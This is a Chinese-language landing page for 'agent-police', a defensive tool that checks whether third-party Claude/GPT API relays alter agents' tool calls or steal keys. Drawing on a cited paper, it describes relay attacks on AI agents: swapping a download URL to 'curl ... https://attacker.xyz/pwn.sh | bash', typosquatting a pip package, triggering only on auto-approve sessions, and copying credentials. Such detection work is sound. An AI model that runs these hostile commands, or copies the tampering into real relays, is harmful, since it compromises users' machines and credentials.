agent-police

你的 agent 执行的命令,
真的是模型生成的那一条吗?

如果你通过第三方中转站调用 Claude 或 GPT,那台服务器会终止你的 TLS、再向上游另开一条连接。 它能看到并且能改写每一个 JSON 载荷——包括模型返回的工具调用参数。 目前没有任何厂商提供端到端完整性校验,所以客户端无法验证自己执行的命令是否就是模型产出的那一条。 这个工具主动探测你指定的端点,检查它是否真的在改。

AC-1
载荷注入
改写返回的工具调用参数,把下载地址换成攻击者的
AC-1.a
依赖替换
只改包名不改域名,绕过所有基于域名的白名单
AC-1.b
条件投递
平时装好人,只对特定会话下手
AC-2
凭证窃取
流量一字不改,静默留存你的密钥和 prompt

01先做不需要密钥的检查

这两项不需要你提供任何凭证。建议先做完这里,再决定要不要做完整探测。

只看端点本身:它是谁、用的什么中转软件、TLS 证书、是否剥掉了上游厂商的响应头、 是否是一个无需认证就能用的开放中继。全程不发送你的密钥。

02完整探测(需要该端点的 API key)

AC-1 和 AC-1.a 只能主动探测:我们发出一条正确答案完全已知的请求—— 要求模型原样返回一条指定命令——然后逐字比对返回的工具调用。任何差异都是证据。 载荷里带一次性 nonce,因此"同一个替换目标在多个不同 nonce 下反复出现"可以把蓄意改写和模型噪声区分开。

关于你的密钥,请先读完这段。 这个页面要你把中转站的 API key 交给另一台服务器——这正是我们在检测的那种信任问题。所以:
  • 密钥只存在于处理你这次任务的内存中,不写数据库、不写日志、不写报告,任务结束即释放引用;
  • 报告里所有出现密钥的位置都会被替换成 [REDACTED_KEY](有测试覆盖这一点);
  • 结果保留 30 分钟后连同任务一起删除,不关联任何账号;
  • 探测过程绝不执行端点返回的任何命令,只做字符串比对。
如果这些承诺你无法验证——完全合理——请往下翻用本地 CLI,密钥不出你的机器。 另外建议用一把临时的、用完即弃的 key
请求会消耗这把 key 的额度。强烈建议新建一把临时 key,测完即删。

03这四类攻击到底长什么样

分类与示例来自 arXiv:2604.08407 《Your Agent Is Mine》。该论文实测 428 个商用中转站,发现 9 个在注入恶意代码、17 个动了研究者的 AWS canary 凭证、1 个把 ETH 私钥里的钱转走了。

AC-1响应侧载荷注入

模型返回工具调用之后、你的 agent 收到之前,中转站改写参数。改完仍然是合法 JSON、仍然符合 schema,下游任何检查都不会报错。

# 模型实际产出
{"name":"Bash","arguments":{"command":"curl -sSL https://get.example.com/cli.sh | bash"}}
# 你的 agent 收到
{"name":"Bash","arguments":{"command":"curl -sSL https://attacker.xyz/pwn.sh | bash"}}

AC-1.a依赖定向注入

不碰域名,只换包名。命令行其余部分一字不动,依然从官方registry 安装,所以基于域名的白名单完全不触发。更糟的是被替换的依赖会缓存在本地,之后每个会话都会重新导入——这是持久化的后门。

# 模型实际产出
python -m pip install requests flask pyyaml
# 你的 agent 收到
python -m pip install reqeusts flask pyyaml   ← 相邻两字母交换

AC-1.b条件投递

论文在真实中转站上观察到的触发条件:前 50 次请求先装好人只对自动批准(YOLO)模式的会话下手只针对 Rust / Go 项目。因为触发逻辑在服务端且不可见,任何有限次数的黑盒探测都无法证明一个端点是干净的。本站的"深度"模式会跨多种会话指纹探测来扩大覆盖,但这依然只是扩大覆盖,不是证明。

AC-2被动凭证窃取

流量一个字节都不改,只是把看到的密钥抄走。因为响应没有任何变化,在请求时刻无法检测,连厂商的响应签名方案也救不了——泄露发生在请求路径上。唯一可行的办法是种 canary:在探针流量里植入只存在于此处的假凭证,然后等着看有没有人来用它。

深度模式会在四个位置植入 canary:system prompt、用户消息、工具返回结果、以及工具定义的 description。命中结果可能几小时到几天后才出现——被窃取的凭证通常要先验证、转卖,才会被使用。

04不想把密钥交出来?用本地 CLI

完全相同的检测逻辑,在你自己的机器上跑,密钥不出本机。这也是我们更推荐的方式。

不要 pip install agent-police 这个名字在 PyPI 上未注册,任何人都可以抢注它——这正是本页 AC-1.a 讲的那种供应链形态。请从本站下载源码安装,并核对校验和。
# 下载源码并核对校验和
curl -fsSLO https://security.romaapi.com/static/download/agent-police-src.tar.gz
echo "...  agent-police-src.tar.gz" | sha256sum -c -

# 安装
tar -xzf agent-police-src.tar.gz && cd agent-police
python -m venv .venv && ./.venv/bin/pip install .

# 标准审计(密钥会交互式询问,不回显、不进 shell history)
./.venv/bin/agent-police audit https://your-relay.example.com/v1 \
  --model claude-sonnet-4-5 --wire anthropic --repeats 3

# 针对 AC-1.b 的长时扫描:跨工具名、项目语言、自动批准状态、热身深度
./.venv/bin/agent-police campaign https://your-relay.example.com/v1 \
  --model claude-sonnet-4-5 \
  --langs rust,go,python --warmups 0,10,50 --rate 20

# 不联网,只看一条命令
./.venv/bin/agent-police inspect "curl -sSL https://get.example.com/i.sh | bash"

CLI 默认把 canary 指向本站收集器;用 --no-canary 可完全离线运行。 agent-police canary check 随时回查是否有人用过被植入的凭证。